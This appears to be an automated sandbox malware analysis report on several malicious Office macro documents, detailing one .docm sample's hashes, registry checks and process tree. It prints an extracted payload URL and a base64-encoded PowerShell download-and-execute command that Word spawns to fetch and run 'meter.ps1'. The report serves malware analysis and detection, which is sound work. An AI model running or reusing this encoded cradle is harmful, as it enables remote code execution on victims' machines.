Overview
overview
10Static
static
81c1f3eaf14...47.doc
windows7-x64
41c1f3eaf14...47.doc
windows10-2004-x64
1023e8349880...94.doc
windows7-x64
423e8349880...94.doc
windows10-2004-x64
15568d72be1...f.xlsm
windows7-x64
15568d72be1...f.xlsm
windows10-2004-x64
1b8eedd0138...3.docm
windows7-x64
10b8eedd0138...3.docm
windows10-2004-x64
10bcdf20e654...7.docm
windows7-x64
10bcdf20e654...7.docm
windows10-2004-x64
10c82717259c...2.docm
windows7-x64
10c82717259c...2.docm
windows10-2004-x64
10Analysis
-
max time kernel
136s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20230221-en -
resource tags
arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system -
submitted
11-06-2023 10:17
Behavioral task
behavioral1
Sample
1c1f3eaf142c53480147c6e98cea4547.doc
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
1c1f3eaf142c53480147c6e98cea4547.doc
Resource
win10v2004-20230220-en
Behavioral task
behavioral3
Sample
23e8349880dde570473345c8b6ba8d94.doc
Resource
win7-20230220-en
Behavioral task
behavioral4
Sample
23e8349880dde570473345c8b6ba8d94.doc
Resource
win10v2004-20230220-en
Behavioral task
behavioral5
Sample
5568d72be1bdebf9187261a24b3b324f.xlsm
Resource
win7-20230220-en
Behavioral task
behavioral6
Sample
5568d72be1bdebf9187261a24b3b324f.xlsm
Resource
win10v2004-20230220-en
Behavioral task
behavioral7
Sample
b8eedd013827b960eee4c0ae07ae5513.docm
Resource
win7-20230220-en
Behavioral task
behavioral8
Sample
b8eedd013827b960eee4c0ae07ae5513.docm
Resource
win10v2004-20230220-en
Behavioral task
behavioral9
Sample
bcdf20e65445ed6bda794d958025e417.docm
Resource
win7-20230220-en
Behavioral task
behavioral10
Sample
bcdf20e65445ed6bda794d958025e417.docm
Resource
win10v2004-20230220-en
Behavioral task
behavioral11
Sample
c82717259c368b69cb64572e74042c02.docm
Resource
win7-20230220-en
Behavioral task
behavioral12
Sample
c82717259c368b69cb64572e74042c02.docm
Resource
win10v2004-20230221-en
General
-
Target
c82717259c368b69cb64572e74042c02.docm
-
Size
16KB
-
MD5
c82717259c368b69cb64572e74042c02
-
SHA1
2fc0ceb46caa5529bf3c7bce4c11793e1bfa45d3
-
SHA256
5636b00a5c350d5f80d7654e256302f5c58b0d899fa800e8ff47ceb30b796732
-
SHA512
af326ce518d9ec7a474cec903048e99d05608bfc4fe4966924c046773e43b6d5375742670fd241113e5f838710cb3595080e7cd6b61adec51d23f9f82b9f70e6
-
SSDEEP
384:/iutbydI+IQLQDZaNxt/ZtNNsstAWObKo1n9EA:/XEIKCGxllNsstobKo19z
Malware Config
Extracted
http://192.168.45.161/meter.ps1
Signatures
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exepowershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4048 3040 powershell.exe WINWORD.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 1232 3040 powershell.exe WINWORD.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3040 WINWORD.EXE 3040 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 4048 powershell.exe 4048 powershell.exe 1232 powershell.exe 1232 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4048 powershell.exe Token: SeDebugPrivilege 1232 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 3040 WINWORD.EXE 3040 WINWORD.EXE 3040 WINWORD.EXE 3040 WINWORD.EXE 3040 WINWORD.EXE 3040 WINWORD.EXE 3040 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 3040 wrote to memory of 4048 3040 WINWORD.EXE powershell.exe PID 3040 wrote to memory of 4048 3040 WINWORD.EXE powershell.exe PID 3040 wrote to memory of 1232 3040 WINWORD.EXE powershell.exe PID 3040 wrote to memory of 1232 3040 WINWORD.EXE powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c82717259c368b69cb64572e74042c02.docm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3040 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEANgAxAC8AbQBlAHQAZQByAC4AcABzADEAJwApACAAfAAgAEkARQBYAA==2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4048 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEANgAxAC8AbQBlAHQAZQByAC4AcABzADEAJwApACAAfAAgAEkARQBYAA==2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1232
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD5b66db53846de4860ca72a3e59b38c544
SHA12202dc88e9cddea92df4f4e8d83930efd98c9c5a
SHA256b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030
SHA51272eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82